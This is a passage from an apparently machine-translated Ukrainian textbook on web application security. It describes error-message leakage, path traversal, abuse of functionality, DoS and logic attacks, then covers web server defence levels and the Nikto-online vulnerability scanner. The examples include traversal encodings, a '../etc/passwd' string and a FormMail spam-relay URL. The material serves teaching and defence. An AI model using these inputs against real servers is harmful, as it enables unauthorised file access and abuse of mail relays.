(ІПН, номери водійських посвідчень, паспортів і т.д.), а також поточна

інформація (баланс особового рахунку або історія платежів).

Багато атаки цієї категорії виходять за рамки захисту Web-додатків і

переходять в область фізичної безпеки. Витік інформації в цьому випадку

часто виникає, коли в браузері відображається інформація, яка не повинна

виводитися у відкритому вигляді навіть користувачеві. Як приклад можна

навести паролі користувача, номери кредитних карток і т.д.

Докладні повідомлення про помилки можуть виникати в результаті

спеціально сформованого запиту. Нижче наведено приклад повідомлення,

типового для помилки, що виникає в результаті SQL-запиту. Для реалізації

атаки з впровадженням коду SQL зазвичай потрібно знання структури

запитів, здійснюваних Web-сервером. Інформація, передана в докладної

інформації про помилку може бути використана для побудови атакуючим

коректних запасів до сервера баз даних.

Нижче наведено повідомлення, що видається сервером при введенні

символу апострофа в якості імені користувача.

An Error Has Occurred.

Error Message:

System.Data.OleDb.OleDbException: Syntax error (missing

operator) in query expression 'username = ''' and password =

'g''. at

System.Data.OleDb.OleDbCommand.ExecuteCommandTextErrorHandli

ng (

Int32 hr) at

143

System.Data.OleDb.OleDbCommand.ExecuteCommandTextForSingleRe

sult

( tagDBPARAMS dbParams, Object& executeResult) at

У першій частині повідомлення виводиться частина запиту, який

викликав помилку. За цією інформацією зловмисник може отримати

інформацію про використовувані параметри запиту і місце запиту, в якому

здійснюється впровадження коду.

Зворотний шлях в директоріях (Path Traversal)

Дана техніка атак спрямована на отримання доступу до файлів, теки

та командам, які знаходяться поза основною директорії Web-сервера.

Зловмисник може маніпулювати параметрами URL з метою отримати

доступ до файлів або виконати команди, розташовувані у файловій системі

Web-сервера. Для подібних атак потенційно вразливий будь-який пристрій,

що має Web-інтерфейс.

Багато Web-серверів обмежують доступ користувача певною

частиною файлової системи, звичайно званої "web document root" або "CGI

root". Ці директорії містять файли, призначені для користувача і програми,

необхідні для отримання доступу до функцій Web-додатки.

Більшість базових атак, що експлуатують зворотний шлях, засновані

на впровадженні в URL символів "../", для того, щоб змінити розташування

ресурсу, який буде оброблятися сервером. Оскільки більшість Web-

серверів фільтрують цю послідовність, зловмисник може скористатися

альтернативними кодуваннями для представлення символів переходу по

директоріях. Популярні прийоми включають використання

альтернативних кодувань, наприклад Unicode ("..% u2216 "або" ..% c0% af

"), використання зворотного слеша (" .. \ ") в Windows-серверах, символів

URLEncode ("% 2e% 2e % 2f ") чи подвійна кодування URLEncode ("..%

255c").

144

Навіть якщо Web-сервер обмежує доступ до файлів певним

каталогом, ця вразливість може виникати в сценаріях або CGI-програмах.

Можливість використання зворотного шляху в каталогах досить часто

виникає в додатках, що використовують механізми шаблонів або

завантажують їх текст сторінок з файлів на сервері.

Атакуючий може створити запит до будь-якого файлу або папці на

сервері. Наявність або відсутність ресурсу визначається за кодом помилки

(наприклад, 404 у разі відсутності папки або 403 в разі її наявності на

сервері). Нижче наведені варіанти подібних запитів.

Сліпий пошук популярних назв директорій:

/admin/

/backup/

/logs/

/vulnerable_file.cgi

Зміна розширень існуючого файлу: (/test.asp)

/test.asp.bak

/test.bak

/test

8.7. Логічні атаки (Logical Attacks)

Атаки даного класу спрямовані на експлуатацію функцій програми

або логіки його функціонування. Логіка програми представляє собою

очікуваний процес функціонування програми при виконанні певних дій. В

якості прикладів можна навести відновлення паролей, реєстрацію

облікових записів, аукціонні торги, транзакції в системах електронної

комерції. Додаток може вимагати від користувача коректного виконання

кількох послідовних дій для виконання певного завдання. Зловмисник

може обійти або використовувати ці механізми в своїх цілях.

145

8.7.1. Зловживання функціональними можливостями (Abuse of

Functionality)

Дані атаки спрямовані на використання функцій Web-додатків з

метою обходу механізмів розмежування доступу. Деякі механізми Web-

додатки, включаючи функції забезпечення безпеки, можуть бути

використані для цих цілей. Наявність вразливості в одному з, можливо,

другорядних компонентів системи може призвести до компрометації

всього додатку. Рівень ризику та потенційні можливості зловмисника в

разі проведення атаки дуже сильно залежать від конкретного додатка.

Зловживання функціональними можливостями дуже часто

використовується спільно з іншими атаками, такими як зворотний шлях в

директоріях і т.д. Приміром, за наявності вразливості типу міжсайтового

виконання сценаріїв в HTML-чаті зловмисник може використовувати

функції чату для розсилки URL, який експлуатує вразливість, всім

поточним користувачам.

З глобальної точки зору, всі атаки на комп'ютерні системи є

зловживаннями функціональними можливостями. Особливо це стосується

до атак, спрямованим на Web-додатки, які не вимагають модифікації

функцій програми.

Приклад

Приклади зловживання функціональними можливостями включають

в себе:

- Використання функцій пошуку для отримання доступу до файлів за

межами кореневої директорії Web-сервера;

- Використання функції завантаження файлів на сервер для

перезапису файлів конфігурації або впровадження серверних сценаріїв;

146

- Реалізація відмови в обслуговуванні шляхом використання функції

блокування облікового запису при багаторазовому введенні неправильного

пароля.

Нижче наведено реальні приклади подібних вразливостей, взяті з

реального життя.

Програма Matt Wright FormMail

Програма "FormMail" представляє собою додаток на мові PERL,

використовуваний для передачі даних з HTML-форми на вказану поштову

адресу. Цей сценарій досить зручно використовувати для організації

функції зворотного зв'язку на сервері. На жаль, ця програма надавала

зловмисникові можливість передавати поштові повідомлення будь-якому

поштовому користувачеві. Таким чином, програма визначає бути

використано в якості поштового ретранслятора для розсилки спаму.

Зловмисник використовував параметри URL GET-запиту для

вказівки одержувача поштового повідомлення, наприклад:

http://example/cgi-bin/FormMail.pl? recipient = email@victim.example

& message = you% 20got% 20spam

В якості відправника поштового повідомлення була адреса Web-

сервера, що дозволяло зловмисникові залишатися повністю анонімним.

Macromedia's Cold Fusion

Іноді базовий інтерфейс адміністрування, який постачається з Web-

додатком, може використовуватися з непередбачуваними розробниками

цілями. Приміром, Macromedia's Cold Fusion за умовчанням має модуль,

що дозволяє переглядати вихідний код сценаріїв. Зловживання цією

функцією може призвести до отримання критичною інформації Web-

додатків. Видалення або відключення цієї функції вельми проблематично,

оскільки від нього залежать важливі компоненти програми.

147

8.7.2. Відмова в обслуговуванні (Denial of Service)

Даний клас атак спрямований на порушення доступності Web-

сервера. Зазвичай атаки, спрямовані на відмову в обслуговуванні

реалізуються на мережевому рівні, проте вони можуть бути спрямовані і на

прикладний рівень. Використовуючи функції Web-додатки, зловмисник

може вичерпати критичні ресурси системи, або скористатися вразливістю,

що приводить до припинення функціонування системи.

Зазвичай DoS атаки спрямовані на вичерпання критичних системних

ресурсів, таких як обчислювальну потужністі, оперативна пам'ять,

дисковий простір або пропускна спроможність каналів зв'язку. Якщо

якийсь із ресурсів досягне максимального завантаження, додаток цілком

буде недоступний.

Атаки можуть бути спрямовані на будь-який з компонентів Web-

додатків, наприклад, такі як сервер СУБД, сервер аутентифікації і т.д. На

відміну від атак на мережевому рівні, що вимагають значних ресурсів

зловмисника, атаки на прикладному рівні зазвичай легше реалізувати.

Приклади

Припустимо, що сервер Health Care-генерує звіти про клінічну історії

користувачів. Для генерації кожного звіту сервер запитує всі записи, що

відповідають певним номером соціального страхування. Оскільки в базі

містяться сотні мільйонів записів, користувачеві доводиться чекати

результату декілька хвилин. У цей час завантаження процесора сервера

СУБД досягає 60%.

Зловмисник може послати десять одночасних запитів на отримання

звітів, що з високою ймовірністю призведе до відмови в обслуговуванні,

оскільки завантаження процесора сервера баз даних досягне

максимального значення. На час обробки запитів зловмисника нормальна

робота сервера буде неможлива.

148

DoS на інший сервер

Зловмисник може розмістити на популярному Web-форумі

посилання (наприклад, у вигляді зображення в повідомленні) на інший

ресурс. При заході на форум, користувачі будуть автоматично

завантажувати дані з атакуємого серверу вказаний ресурс, використовуючи

його ресурси. Якщо на атакуючому сервері використовується система

запобігання атак з функцією блокування IP-адреси атакуючого, у

посиланні може використовуватися сигнатура атаки (наприклад

../../../../../etc/passwd), що призведе до блокування користувачів, що зайшли

на форум.

Атаки на сервер СУБД

Зловмисник може скористатися впровадженням коду SQL для

видалення даних з таблиць, що призведе до відмови в обслуговуванні

програми.

8.7.3. Недостатня протидія автоматизації (Insufficient Anti-automation)

Недостатня протидія автоматизації виникає, коли сервер дозволяє

автоматично виконувати операції, які повинні проводитися вручну. Для

деяких функцій програми необхідно реалізовувати захист від

автоматичних атак.

Автоматизовані програми можуть варіюватися від нешкідливих

роботів пошукових систем до систем автоматизованого пошуку

вразливостей і реєстрації облікових записів. Подібні роботи генерують

тисячі запитів в хвилину, що може призвести до падіння продуктивності

всього додатку.

Протидія автоматизації полягає в обмеженні можливостей подібних

утиліт. Наприклад, файл robots може запобігати індексування деяких

частин сервера, а додаткові затрати ідентифікації запобігати автоматичну

реєстрацію сотень облікових записів системи електронної пошти.

149

8.7.4. Недостатня перевірка процесу (Insufficient Process Validation)

Вразливості цього класу виникають, коли сервер не достатньо

перевіряє послідовність виконання операцій програми. Якщо стан сесії

користувачів та програми належним чином не контролюється, додаток

може бути вразливе для шахрайських дій.

У процесі доступу до деяких функцій програми очікується, що

користувач виконає ряд дій в певному порядку. Якщо деякі дії

виконуються невірно або у неправильному порядку, виникає помилка, що

приводить до порушення цілісності. Прикладами подібних функцій

виступають переклади, відновлення паролів, підтвердження покупки,

створення облікового запису і т.д. У більшості випадків ці процеси

складаються з ряду послідовних дій, здійснюваних у чіткому порядку.

Для забезпечення коректної роботи подібних функцій Web-додаток

повинен чітко відслідковувати стан сесії користувачів та відслідковувати її

відповідність поточним операціям. У більшості випадків це здійснюється

шляхом збереження стану сесії в cookie або прихованому полі форми

HTML. Але оскільки ці значення можуть бути модифіковані користувачем,

обов'язково має проводитися перевірка цих значень на сервері. Якщо цього

не відбувається, зловмисник отримує можливість обійти послідовність дій,

і як наслідок - логіку програми.

9. ЗАХИСТ Web-САЙТІВ ТА Web-СЕРВЕРІВ

9.1 Ієрархія захисту веб-серверів

Інформація повинна бути в безпеці - мабуть, ця аксіома відома всім. І

безсумнівно, більшість користувачів знають, що таке Firewall і троянські

віруси і якими засобами можна забезпечити захист мережі. Однак не всі

знають, як вони працюють і як оптимально налаштувати систему захисту

150

компанії. Тим не менше саме від цього залежить не тільки збереження

даних, але й існування підприємства в цілому.

Дійсно, багато фахівців надто впевнені у своїй компетенції, і в цьому

корінь проблеми. Надамо наочний приклад. Одна компанія дуже хоче

забезпечити збереження своїх даних (її локальна мережа має постійний

вихід в Інтернет). Для цього один з фахівців встановив firewall,

перекривши (на його погляд) загрозу прямим атакам з публічної мережі.

Потім почав перейматися проникненням троянів і встановив антивірус.

Далі виявилося, що багато програм хочуть також взаємодіяти з мережею,

але не всі роблять це на безпечному рівні. Довелося перекривати доступ і

їм. Поступово число потенційних загроз збільшувалася, і, подібно

сніжному кому, зростала кількість встановлених засобів захисту. І всі вони

були різними. Закінчувалося все, як правило, "падінням" системи і

неминучою встановленням заново. У результаті витрачалося дорогоцінний

робочий час і ресурси. А адже куди розумніше з'ясувати теорію і

підготувати захист у відповідності з нею.

Наведений приклад говорить про те, що колишній підхід до безпеки

безнадійно застарів. Загроз занадто багато, і треба щось закласти в основу

ієрархії захисту. Інтернет уже давно не просто мережа html-сторінок. Це

складні додатки, скрипти, транспортна мережа, телеконференції,

електронна пошта та багато іншого. Звичайно, корпоративний firewall вже

не вирішує всіх проблем безпеки. Адже рівний і узагальнений підхід до

забезпечення безпеки даних кожного співробітника компанії неминуче

призводить до наявності проломів в захисті. Через це страждають потреби

того чи іншого працівника, коли опиняються закриті критичні для

виконання роботи ресурси. Більш того, багато систем безпеки

відокремлюють від загального доступу тільки життєво важливі дані

(наприклад, бухгалтерський облік), у той час як інші відомості, які

151

вважаються менш важливими, доступні всім. Звичайно, це не означає, що

співробітники сусіднього підрозділу вивчають дані своїх колег. Але така

відкритість робить дані всіх працівників вразливими до атаки через одну-

єдину лазівку в мережі. Тому замість псування даних на 1-2 комп'ютерах

страждають усі.

Що й довів черв'як Code Red. Ця одна з найвідоміших атак розкрила

безліч проблем. Встановлено: для того щоб отримати пролом у захисті,

необхідне поєднання трьох чинників. Вразливість програмного

забезпечення, протоколів або процесів, якими може скористатися

нападаючий. Загроза з боку ворожих інструментів, здатних цю вразливість

використовувати. Нарешті, дія, а по суті, використання загрози вашої

вразливості.

Ще в 1985 році Стів Беллоуін (Steve Bellovin), член Ради з

архітектури Інтернету (Internet Architecture Board) опублікував доповідь

про вразливість TCP / IP-протоколу. Хоча аж до 1996 року виникла

вразливість залишалася під примарною теоретичною загрозою. Але загроза

з'явилася, а привів її в дію не хто інший, як Кевін Митник. Тому суть

комп'ютерної безпеки не тільки в її побудові, а й у постійному пошуку

вразливості і усунення її раніше, ніж зловмисники зуміють створити

загрозу і привести її в дію. Отже, безпека - процес динамічний, а не

статичний. Аналіз і усунення ризиків - його основна складова, якої не

можна нехтувати.

В чому вразливість Web-серверів

Вірус Code Red вивів з ладу саме ті сервери, які були захищені від

елементарних атак з Мережі і не стежили за своєю зростаючою

вразливістю (через відсутність подібних прецедентів). Мала місце

вразливість, але так як раніше подібні атаки не проводилися, ніхто про неї

152

не думав. У підсумку така безпечність коштувала мільйонів доларів.

Узагальнимо основні причини вразливості веб-серверів.

Більшість зростаючих підприємств регулярно міняє конфігурацію

своїх мереж, додаючи нові робочі станції (іноді й сервера), забуваючи при

цьому тестувати ЛВС на безпеку. Зрозуміло, заборонити підключати нових

користувачів неможливо, але варто задуматися про розширення мережі

заздалегідь. Позначити її сегменти, які здатні до розширення, і проводити

попереднє тестування на безпеку.

Більшість веб-майстрів мають кореневий або адміністраторський

доступ до сервера. Розумніше прописати кожному користувачеві свою

політику доступу, що обмежує його права прямими обов'язками.

Наприклад, співробітник працює тільки з одним каталогом сервера, але

має доступ на всі інші. Тим самим він ставить під загрозу не лише свій

сектор робіт, але і всі дані сервера. Звичайно, статус веб-майстра має не

кожен користувач, хоча обмежити доступ з міркувань безпеки слід і самим

високим професіоналам.

Програмне забезпечення веб-серверів. Суміш з піратських,

ліцензійних, shareware-і freeware-програм робить систему вразливою.

Найбезпечніший підхід - сумісне програмне забезпечення від одного

виробника. Скажете дорого? А не дорожче чи потім відновлювати дані

після атаки?

Як бачите, безпека веб-серверів зводиться до управління ризиками.

Але не кожна компанія має потребу у вищій ступені захисту своєї

інформації. Питання рівня безпеки - це питання використання ресурсів

мережі. Якщо веб-сервер існує, приміром, тільки для потреб маркетингу,

то особливо складногої захисту встановлювати не варто. А ось системи

електронної комерції, електронних платежів вимагають великих заходів

безпеки. Тому прийнято розділяти рівні захисту веб-серверів.

153

9.2. Рівні захисту веб-серверів

Захист мережі можна розділити на шість рівнів складності. Перший -

найбільш елементарний, і обов'язковий. Тут головний інструмент захисту -

firewall. Firewall повинен лімітувати використання сервісів, що надаються

користувачам. Також firewall повинен стежити за всіма з'єднаннями, як з

одного, так і з іншого боку. До речі, багато версії firewall успішно відбили

Code Red. Не варто застосовувати тут програми незрозумілого

походження, віддавайте перевагу ліцензійним ПЗ. Адже це самий

передовий бастіон захисту ваших даних. Багато вразливостей можна

усунути вже на цьому етапі.

Другий рівень безпеки на увазі конфігурацію операційної системи,

під чиїм керуванням працює веб-сервер. Кожна операційна система

дозволяє створювати контрольні листи безпеки (security checklist). Ці

установки повинні бути узгоджені з операційними системами вендорів, які

співпрацюють з компанією. Про те, як це робиться під окремі операційні

системи, можна прочитати тут: Center for Internet Security -

http://www.cisecurity.org; Microsoft -

www.microsoft.com/technet/itsolutions/security/tools/tools.asp; Apache -

http://httpd.apache.org/docs/misc/security_tips.html; Sun –

http://www.sun.com/security/blueprints/. Важливо також, щоб новий додаток

своєчасно вносилося до security cheklist, а не відключало його. Це повинно

бути правилом. І ніякой аврал на роботі не повинен призводити до

відключення даного рівня безпеки.

Третій рівень орієнтований вже на мережу. Необхідно оснастити

датчиками атаки мережного обладнання та програмного забезпечення

провайдера, що забезпечує хостинг. Головне, щоб надійшов сигнал про

небезпеку був правильно оброблений і нейтралізований.

154

Четвертий рівень безпеки - установка програмного забезпечення на

рівні хостингу. Це значно складніше завдання. По-перше, тут можна

зіткнутися з запереченнями самої хостинг-компанії. А по-друге, таке

програмне забезпечення набагато складніше простих датчиків. З цієї

причини й рівень безпеки більш високий.

Пятий рівень безпеки має два підрівня - А і Б. Рівень 5А - це

встановлення спеціального програмного забезпечення, що виконує роль

прошарку між операційною системою веб-сервера і усіма додатками.

Такий буфер дозволяє запобігти атаці хакерів на вразливі програми, які

беруть під контроль усю операційну систему під час свого виконання. Це

не найдешевший варіант, тому що, як і на попередньому рівні, необхідно

забезпечити підтримку програмного забезпечення, яким оперують веб-

сервери.

Рівень 5Б є установкою орієнтованих на конкретні програми firewall

або проксі-серверів. Вони орієнтовані на HТTP-протокол і дозволяють

запобігти атакам перш, ніж потенційні зловмисники зуміють дістатися до

запуску додатків, встановлених на веб-сервері. Однак, проксі-сервер - це

істотне обмеження в роботі. Конфігурація та налаштування проксі - теж

свого роду мистецтво.

Шостий рівень - своєрідна вершина безпеки. Тут допускається

використання тільки довірчих операційних систем і працюють під їхнім

управлінням додатків. Іншими словами, всі функціонуючі програми та

операційні системи повинні бути або максимально адаптовані, або

розроблені спеціально для специфічних потреб компанії. Це найдорожчий,

але і самий ефективний спосіб захисту. До того ж потребує спеціальної

підготовки від адміністратора мережі, а часто і від користувачів, що також

спричиняє додаткові витрати. Та й оновлення будь-якої програми

потребують попередньої інтеграції в довірчу систему.

155

Вибір

Як і скрізь вирішальним фактором стає співвідношення ціна/якість. І

тим не менше кожна компанія повинна мати як мінімум два перших рівня

захисту. Будь-яка компанія, для якої псування інформації є критичною (і

може серйозно вплинути на функціонування підприємства), повинна

оснастити свої веб-сервери третім рівнем безпеки. Це стосується

підприємств, які просто використовують у своїй роботі мережу Інтернет.

Якщо ваші користувачі підключені до неї, то зловмисники можуть знайти

лазівки, щоб проникнути у ваші віртуальні володіння і зіпсувати ваші дані.

Всі компанії, що використовують віддалений доступ до мережі для запуску

додатків на веб-сервері, зобов'язані мати рівні вище четвертого (4, 5A або

5Б). Один із прикладів - наявність важливої бази даних на сервері, доступ

до якої здійснюється через віддалений доступ або мережу Інтернет. До цієї

категорії можна віднести інтернет-магазини та електронні трейдингу.

Якщо ви не можете повністю контролювати дію своїх веб-майстрів, то

достатнім буде рівень 4. Класичний випадок, коли кілька адміністраторів

відповідають за різні ділянки сайту. Часто такі адміністратори можуть

працювати поза офісом або вдома. При цьому їх права на доступ

дозволяють внести істотні корективи в дані. А це не завжди бажано. Якщо

ж користувачі здатні контролювати налаштування мережевих додатків, то

необхідний захист п'ятого рівня (як А, так і Б). Це справедливо для

складних систем, коли комп'ютери, підключаються через мережу до

сервера і мають права не тільки запускати програми, але і змінювати

налаштування цих додатків. Шостий рівень - повна гарантія безпеки.

Безпека - це люди, процеси, програми. Це безперервний пошук

вразливих місць вашої системи, налагоджена структура ліквідації загрози і

контроль над виконуваними програмами. Інтернет міцно увійшов в наше

життя і всі методики повинні удосконалюватися. З'являються нові підходи

156

до безпеки, та ігнорування їх було б великою помилкою. Помилкою,

усвідомлення якої може прийти занадто пізно.

9.3. Захист сайтів та Web-проектів

Будь-який сайт або Web-проект є традиційним Web-додатком, що

працює в рамках операційної системи і серверного програмного

забезпечення, використовує сервісні функції операційної системи та інших

програмних продуктів.

Для управління Web-проектом використовуються комп'ютери

адміністраторів і привілейованих користувачів зі своїми операційними

системами, програмним забезпеченням і вразливими місцями. Ці

комп'ютери, як правило, входять до складу корпоративної інформаційної

системи (КІС) компанії, що управляє сайтом.

Розглянемо складові Web-проекту з точки зору забезпечення його

безпеки

1. Інформаційне середовище Web-сервера

• операційна система

• Web-сервер

• середовище програмування

• база даних

• засоби захисту Web-сервера

2. Система управління Web-проектом (CMS-система)

3. Інформаційне середовище адміністраторів Web-проекту

• КІС компанії, що управляє сайтом

• система антивірусного захисту КІС

• засоби захисту КІС від атак з Інтернет

• засоби захисту КІС від витоків інформації

4. Cторонні Web-додатки

157

Існує думка, що основна проблема безпеки сайтів криється в

програмному коді CMS-системи управління Web-проектом, що включає

сам сайт. Це далеко не так. Значний внесок у комплексну безпека Web-

проекту вносять такі складові забезпечення інформаційної безпеки, як

захищеність інформаційного середовища Web-сервера і засоби захисту

комп'ютерів, що входять до складу КІС компанії, що управляє сайтом.

Безпека інформаційного середовища Web-сервера

Забезпечення безпеки інформаційного середовища Web-сервера -

завдання складне і відповідальна. Для забезпечення більш високого рівня

безпеки ваших інтернет-проектів необхідно комплексно вирішувати дану

задачу:

• доручити завдання забезпечення безпеки інформаційного середовища

Web-сервера хостинг-провайдера або дата-центру

• регулярно використовувати спеціальні засоби для моніторингу

захищеності інформаційного середовища Web-сервера

• періодично проводити незалежний комплексний аудит безпеки

інформаційного середовища Web-сервера

Безпека CMS-системи управління Web-проектом

Як приклад, запропонуємо дотримуватися наступної архітектури

безпечного Web-додатки, яку використовує компанія Бітрікс в самому

захищеному на вітчизняному ринку продукт «1С-Бітрікс. Управління

сайтом »

• єдина система авторизації

• єдиний бюджет користувача для всіх модулів

• багаторівневе розмежування прав доступу

• незалежність системи контролю доступу від бізнес-логіки сторінок

• можливість шифрування інформації при передачі

• система оновлень

158

• журнал роботи

• політика роботи з змінними та зовнішніми даними

• методика подвійного контролю критично небезпечних ділянок коду

Безпека інформаційного середовища адміністраторів Web-проекту

Забезпечення безпеки інформаційного середовища адміністраторів

Web-проету - завдання не менш складна і відповідальна, ніж безпека

самого Web-сервера і захищеність CMS-системи управління сайтом. Як

правило, керування і адміністрування сайтом проводиться з комп'ютерів,

що входять до складу корпоративної інформаційної системи компанії, що

виконує ці роботи. Тому захищеність цих комп'ютерів залежить від

захисту корпоративної інформаційної системи в цілому.

Якщо ваша компанія не має досвіду роботи в області забезпечення

інформаційної безпеки корпоративних інформаційних систем, то

розумніше всього доручити рішення цього завдання аутсорсингової

компанії, спеціалізованої на наданні послуг з технічного захисту

конфіденційної інформації. І вже у жодному разі не довіряйте ці роботи

програмістам від Web-дизайну. Вони знайомі тільки з "вершиною

айсберга".

Безпека сторонніх Web-додатків

Під стороннім Web-додатком мається на увазі, наприклад,

поставлений вами додатковий Web-форум або якийсь блок, "прикручений"

до вашого сайту від іншого виробника. Ця відірвана складова не об'єднана

з вашої CMS-системою управління сайтом єдиної архітектурою, що стає

деякою додатковою проблемою при експлуатації Web-проекту.

За великим рахунком, стороннє Web-додаток можна розглядати як

проект у проекті, і тому завдання забезпечення безпеки цих Web-додатків

базується на тих же методах і прийомах, які були викладені в попередніх

пунктах.

159

10. Сканери пошуку вразливостей

10.1 Сканер вразливостей Nikto-onl

Ефективність роботи будь-якого Internet-сайту визначається

швидкістю реакції на середовище веб-технологій , яке динамічно

розвивається. Сучасні технології створення веб-контенту в режимі

реального часу дали професійному веб-майстру найпотужніші інструменти

для управління потоками інформації в мережі Internet. Цілком природно,

що такий ринок не залишився без уваги хакерів, які прагнуть завдати

шкоди або заволодіти конфіденційною інформацією. У таких умовах

актуальним завданням є мінімізація вразливостей web-серверів і сайтів

задля уникнення витоку інформації.

Під час створення або внесення змін в структуру і скрипти сторінок сайту

важко оцінити можливість такої вразливості і найбільш вразливу частину

цілісної структури системи. Виявити «дірки» в скриптах можна за

допомогою будь-якого сканера вразливостей. Для більш зручного

використання була створена система Nikto-online, яка дозволяє скоротити

час, необхідний на сканування, та автоматизувати процес пошуку слабких

місць у безпеці веб-серверів і веб-сайтів.

Система Nikto-online була розроблена з метою підвищення безпеки web-

сайтів і серверів, доступності для кожного і швидкого відстеження

вразливостей web-сайтів. Nikto-online являє собою зручний і приємний у

використанні web-інтерфейс до сканера вразливостей Nikto 2.03.

Для описів і методів розв'язання вразливостей за основу була взята

відкрита база вразливостей OSVDB (http://osvdb.org/). Ця база містить всі

вразливості, які визначає сканер Nikto англійською мовою. Тому ще

однією з цілей для розробки системи nikto-online є максимально повний

переклад бази OSVDB.

Так як система є загальнодоступною, то тут відсутні авторизація та поділ

160

користувачів на адміністраторів і користувачів. У всіх права рівні і процес

додавання та видалення сайтів для всіх є однаковим. Була розроблена

більш зручна навігація по сайтам і вразливостям за допомогою більш

нових web-технологій.

Робота сканера Nikto-Online

Сканер був створений для підвищення безпеки web-сайтів НТУУ

«КПІ», але це не означає що ним не можна сканувати інші сайти. Він легко

справляється з більшістю сайтів доступних в мережі Internet, що дозволяє

розробникам чи адміністраторам сайтів звернути увагу на слабкі місця

web-сайту або сервера в цілому і зробити його більш стійкостим і

захистити від несанкціонованого доступу.

Сканер Nikto-Online - це багатопоточний сканер. Він сканує кожен сайт в

окремому потоці, що дозволяє на порядок скоротити час при масовому

скануванні або примусовому повторному скануванні сайтів.

Система аналізує результат і розділяє вразливості на небезпечні, які ми

настійно рекомендуємо усунути, і інші, які не несуть великої загрози для

сайту або сервера, але які також бажано усунути.

Таким чином, система відображає сайти в порядку їх небезпечності. Тобто

першими в списку показані сайти, які мають небезпечні вразливості, чим

ми й акцентуємо на них увагу.

При відображенні результату сканування також першими відображаються

вразливості , що мають позначку «небезпечно».

До небезпечних вразливостей ми відносимо такі як: SQL Inject, Cross Site

Scripting (XSS).

SQL Inject - один з розповсюджених способів злому сайтів і програм, що

працюють з базами даних, заснований на впровадженні в запит довільного

SQL-коду.

161

Cross Site Scripting (XSS) - це вразливість на сервері, що дозволяє

впровадити в генерацію HTML-сторінки скрипти на сервері (не в скрипт,

на відміну від Рerl-небудь PHP-інклудінга) довільний код шляхом передачі

його в якості значення нефільтрованої змінної.

База даних системи являють собою об'єднану базу OSVDB і базу для

зберігання сайтів та вразливостей до неї.

Основна частина бази даних - це база OSVDB.

Після сканування для кожного сайту генерується 2 файли з результатами

сканування:

1. Текстовий файл (. Txt). Тут зберігається результат сканування Nikto.

2. Pdf-файл (. Pdf). Зберігає в собі вразливості з описом і методами

вирішення.

Ці файли доступні для скачування для зручності передачі результату

сканування адміністраторів або розробникам сайту, задля усунення та

підвищення безпеки сайту і сервера.

Після сканування система також аналізує результат і розділяє вразливості

на небезпечні, які ми настійно рекомендуємо усунути, і інші, які не несуть

великої загрози для сайту або сервера, але які також бажано усунути.

Таким чином, система відображає сайти в порядку їх небезпечності. Тобто

першими в списку показані сайти, які мають небезпечні вразливості, чим

ми й акцентуємо на них увагу.

При відображенні результату сканування також першими відображаються

вразливості , що мають позначку «небезпечно».

До небезпечних вразливостей ми відносимо такі як:

SQL Inject та Cross Site Scripting (XSS).

SQL Inject - один з розповсюджених способів злому сайтів і програм, що

працюють з базами даних, заснований на впровадженні в запит довільного

SQL-коду.

162

Зовнішній вигляд сканера

Система являє собою web-сайт з приємним дизайном і

використанням нових технологій, таких як jquery та інші. Система

складається з однієї сторінки, яка має наступний вигляд:

Головна сторінка сканера Nikto-Online

Праворуч знаходяться всі додані сайти, форма для додавання та пошуку

сайту. У центральній частині знаходиться інформація про сайт, опис всіх

вразливостей з можливістю перегляду опису і методів рішення.

Для додавання сайту необхідно натиснути на кнопку «додати» у верхній

частині всіх сайтів:

Додавання сайта

163

Після чого відкриється форма для додавання сайту:

Форма додавання сайта

Якщо ви намагаєтеся додати сайт, який вже був доданий раніше, то

система автоматично перейде на перелік вразливостей сайту, що додається.

Інакше сайт буде додано і поставлено в чергу для сканування. Сканер

вразливостей запускається щохвилини і сканує сайти поставлені в чергу.

Як вже говорилося раніше, кожен сайт сканується в окремому потоці, що

дозволяє скоротити час сканування.

У чергу сканування встановлюються не тільки нові сайти, але і сайти,

останнє сканування яких було пізніше 1 тижня. Тобто система

автоматично сканує всі сайти один раз на тиждень. Також в чергу

сканування можна примусово поставити будь-який сайт. Для цього

необхідно натиснути на кнопку «пересканувати» у блоці з інформацією

про сайт:

164

Блок з інформацією про сайт

Для навігації серед вразливостей сайтів необхідно скористатися блоком

ліворуч, показаному на рисунку , що надано нижче. Список сайтів

відсортований спочатку за рівнем небезпеки , а потім за датою додавання.

Знак оклику праворуч означає, що даний сайт має небезпечні вразливості,

які рекомендується усунути. Знак лінзи означає, що сайт на даний момент

в процесі сканування.

Блок навигації по сайтам

Для зручності навігації існує пошук по сайтам, де необхідно вказати

або повну назву сайту, або його частину. У другому випадку буде обраний

перший-ліпший сайт, який задовольняє умову запиту.

Пошук сайта

165

Перегляд результату сканування.

Тут першими в списку показані більш небезпечні вразливості і

відзначені знаком оклику ліворуч. Тут є можливість подивитися опис і

методи рішення вразливості по кожній з помилок. Якщо в базі даних є дані

російською мовою, то користувач побачить їх. Інакше опис відображається

англійською мовою.

Під вразливими місцями знаходяться 3 кнопки:

1. Видалити. З назви стає ясно, що натиснувши на цю кнопку даний сайт

буде видалений з бази сканування Nikto-Online.

2. Завантажити без опису. Ця кнопку дає можливість скачати результат,

який повернув сканер Nikto 2.03 в оригінальному вигляді:

- Nikto v2.03/2.04

---------------------------------------------------------------------------

+ Target IP: 77.47.179.253

+ Target Hostname: nikto.kedya.org.ua

+ Target Port: 80

+ Start Time: 2010-03-02 10:54:02

---------------------------------------------------------------------------

+ Server: Apache/2.2.13 (FreeBSD) mod_ssl/2.2.13 OpenSSL/0.9.8e

DAV/2 SVN/1.6.6 mod_python/3.3.1 Python/2.5.4

+ No CGI Directories found (use '-C all' to force check all possible dirs)

- Allowed HTTP Methods: GET, HEAD, POST, OPTIONS

+ OSVDB-0: Non-standard header x-pad returned by server, with

contents: avoid browser bug

+ mod_ssl/2.2.13 appears to be outdated (current is at least 2.8.31) (may

depend on server version)

166

+ OpenSSL/0.9.8e appears to be outdated (current is at least 0.9.8g) (may

depend on server version)

+ mod_ssl/2.2.13 OpenSSL/0.9.8e DAV/2 SVN/1.6.6 mod_python/3.3.1

Python/2.5.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer

overflow which may allow a remote shell (difficult to exploit).

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0082.

+ OSVDB-3092: GET //files/ : This might be interesting...

+ 3577 items checked: 6 item(s) reported on remote host

+ End Time: 2010-03-02 10:54:17 (15 seconds)

---------------------------------------------------------------------------

+ 1 host(s) tested

Test Options: -h http://nikto.kedya.org.ua

---------------------------------------------------------------------------

